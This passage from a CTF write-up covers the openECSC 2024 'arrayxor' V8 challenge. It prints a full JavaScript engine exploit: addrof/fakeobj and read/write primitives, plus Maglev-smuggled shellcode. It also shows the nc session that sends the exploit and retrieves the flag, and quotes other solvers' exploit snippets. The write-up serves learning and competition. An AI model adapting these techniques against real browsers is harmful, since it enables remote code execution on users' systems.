class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// bigint to 32-bit hex string&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;hex32&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConStr&#34;&gt;&#34;0x&#34;&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;toString&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;16&lt;/span&gt;).&lt;span class=&#34;jsConProp&#34;&gt;padStart&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;8&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// bigint to 64-bit hex string&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;hex64&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConStr&#34;&gt;&#34;0x&#34;&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;toString&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;16&lt;/span&gt;).&lt;span class=&#34;jsConProp&#34;&gt;padStart&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;16&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// set up variables&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;3.3&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;tmpObj&lt;/span&gt; = {&lt;span class=&#34;jsConProp&#34;&gt;a&lt;/span&gt;: &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;};&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;objArr&lt;/span&gt; = [&lt;span class=&#34;jsConVar&#34;&gt;tmpObj&lt;/span&gt;];&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// nabbed from Popax21&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;obj2ptr&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;obj&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;13.37&lt;/span&gt;];&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;({&#xD;&#xA;    &lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt;: &lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt;() {&#xD;&#xA;      &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = {}; &lt;span class=&#34;jsConNull&#34;&gt;//Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS&lt;/span&gt;&#xD;&#xA;      &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;obj&lt;/span&gt;;&#xD;&#xA;      &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;; &lt;span class=&#34;jsConNull&#34;&gt;//Clear the lowest bit -&amp;gt; compressed SMI&lt;/span&gt;&#xD;&#xA;    } &#xD;&#xA;  });&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; (&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] &amp;lt;&amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;) | &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// set up the fake array&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arrAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;BigInt&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;obj2ptr&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;));&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arrElementsAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;arrAddr&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x20n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;arrElementsAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeElementsAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;arrElementsAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000100000008a9n&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x0000010000000000n&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;fakeElementsAddr&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// do the exploit&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;tmp&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;evil&lt;/span&gt; = {&#xD;&#xA;  &lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt;: () =&amp;gt; {&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;;&#xD;&#xA;    &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Number&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;arrAddr&lt;/span&gt; ^ &lt;span class=&#34;jsConVar&#34;&gt;fakeAddr&lt;/span&gt;);&#xD;&#xA;  }&#xD;&#xA;};&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// this is the fake 128-element array&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;oob&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// set up addrof/fakeobj primitives&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;o&lt;/span&gt;) {&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;objArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;o&lt;/span&gt;;&#xD;&#xA;    &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;]) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;a&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;temp&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;]) &amp;amp; &lt;span class=&#34;jsConValIn&#34;&gt;0xFFFFFFFFn&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;temp&lt;/span&gt; + (&lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt; &amp;lt;&amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;));&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;objArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// set up read/write primitives&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;addr&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;readArr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;];&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;readArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;readArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x0000000200000000n&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;addr&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;readArr&lt;/span&gt;) - &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;)[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;]);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;addr&lt;/span&gt;, &lt;span class=&#34;jsConIdx&#34;&gt;data&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;writeArr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;];&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;writeArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;writeArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x0000000200000000n&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;addr&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeArr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;writeArr&lt;/span&gt;) - &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;fakeArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;data&lt;/span&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// set up the shellcode function&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;shellcode&lt;/span&gt;() {&#xD;&#xA;  &lt;span class=&#34;jsConNull&#34;&gt;// nabbed from Anvbis&lt;/span&gt;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; [&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.9711828979523134e-246&lt;/span&gt;,&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.9562205631094693e-246&lt;/span&gt;,&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.9557819155246427e-246&lt;/span&gt;,&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.9711824228871598e-246&lt;/span&gt;,&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.971182639857203e-246&lt;/span&gt;,&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.9711829003383248e-246&lt;/span&gt;,&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.9895153920223886e-246&lt;/span&gt;,&#xD;&#xA;    &lt;span class=&#34;jsConValIn&#34;&gt;1.971182898881177e-246&lt;/span&gt;&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// turn the shellcode into maglev&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;10000&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;();&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// redirect the function start to our shellcode&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;)&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x14n&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;) + &lt;span class=&#34;jsConValIn&#34;&gt;0x7fn&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;();&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;&lt;strong&gt;Let&amp;rsquo;s get the flag!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;termCode&#34; style=&#34;overflow-wrap: anywhere&#34;&gt;&lt;span class=&#34;termCodeW&#34;&gt;$ nc arrayxor.challs.open.ecsc2024.it 38020&lt;/span&gt;&#xD;&#xA;Do Hashcash for 24 bits with resource &#34;k2v9WzPBJK2N&#34;&#xD;&#xA;https://pow.cybersecnatlab.it/?data=k2v9WzPBJK2N&amp;bits=24&#xD;&#xA;or&#xD;&#xA;hashcash -mCb24 &#34;k2v9WzPBJK2N&#34;&#xD;&#xA;Result: &lt;span class=&#34;termCodeW&#34;&gt;1:24:240525:k2v9WzPBJK2N::KmFvCdJ0h09D4MEm:00002QUYY&lt;/span&gt;&#xD;&#xA;Send me your js exploit b64-encoded followed by a newline&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;Ly8gc2V0IHVwIGhlbHBlciBzdHVmZgpjb25zdCBidWZmZXIgPSBuZXcgQ...&#xD;&#xA;cat flag&#xD;&#xA;;&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;termCodeFlag&#34;&gt;openECSC{t00_e5zy_w1th0ut_s4nb0x_gg_wp_5ec4376e}&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;gg.&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-6-what-couldve-been&#34;&gt;Part 6: What could&amp;rsquo;ve been&lt;/h2&gt;&#xA;&lt;p&gt;Since this was my first time doing anything like this I made a few &amp;ldquo;mistakes&amp;rdquo; along the way. I think that&amp;rsquo;s really the best way to learn, but I promised to show you a few different ways my exploit could&amp;rsquo;ve been significantly improved.&lt;/p&gt;&#xA;&lt;p&gt;The first thing is something I&amp;rsquo;ve already implemented in the final exploit code above - the &lt;code&gt;obj2ptr&lt;/code&gt; function I nabbed from &lt;strong&gt;Popax21&lt;/strong&gt;&amp;rsquo;s exploit code. Originally, I used &lt;code&gt;%DebugPrint(arr)&lt;/code&gt; to see the address of the &lt;code&gt;arr&lt;/code&gt; array on every run to change the code accordingly, but there&amp;rsquo;s a pretty easy way to not have to do that at all!&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;span class=&#34;jsConNull&#34;&gt;// snippet from Popax21&#39;s exploit code&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;obj2ptr&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;obj&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;13.37&lt;/span&gt;];&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;({&#xD;&#xA;    &lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt;: &lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt;() {&#xD;&#xA;      &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = {}; &lt;span class=&#34;jsConNull&#34;&gt;//Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS&lt;/span&gt;&#xD;&#xA;      &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;obj&lt;/span&gt;;&#xD;&#xA;      &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;; &lt;span class=&#34;jsConNull&#34;&gt;//Clear the lowest bit -&amp;gt; compressed SMI&lt;/span&gt;&#xD;&#xA;    } &#xD;&#xA;  });&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; (&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] &amp;lt;&amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;) | &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;ptr2obj&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;ptr&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;13.37&lt;/span&gt;];&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;({&#xD;&#xA;    &lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt;: &lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt;() {&#xD;&#xA;      &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = {}; &lt;span class=&#34;jsConNull&#34;&gt;//Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS&lt;/span&gt;&#xD;&#xA;      &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = (&lt;span class=&#34;jsConVar&#34;&gt;ptr&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;);&#xD;&#xA;      &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;; &lt;span class=&#34;jsConNull&#34;&gt;//Set the lowest bit -&amp;gt; compressed pointer&lt;/span&gt;&#xD;&#xA;    } &#xD;&#xA;  });&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Since the difference between a pointer and an SMI is just the last bit, we can put any object or pointer into an array, xor its last bit, and get out the pointer or object accordingly. While I only used those functions in my example exploit code to get the initial address of &lt;code&gt;arr&lt;/code&gt;, they are pretty much equal to the full &lt;strong&gt;addrof&lt;/strong&gt; and &lt;strong&gt;fakeobj&lt;/strong&gt; primitives! Beautiful.&lt;/p&gt;&#xA;&lt;p&gt;Another approach to exploiting the xor I saw in a few solves was changing the length of the array to something small, then forcing a GC to defragment some other object into a region beyond past the array, and then changing the length back to a big amount to get an out-of-bounds read/write. This approach was probably quite brutal to work with, but earned &lt;strong&gt;rdjgr&lt;/strong&gt; their first blood&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;span class=&#34;jsConNull&#34;&gt;// snippet from rdjgr&#39;s exploit code&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;pwn&lt;/span&gt;() {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;num&lt;/span&gt; = {};&#xD;&#xA;  &lt;span 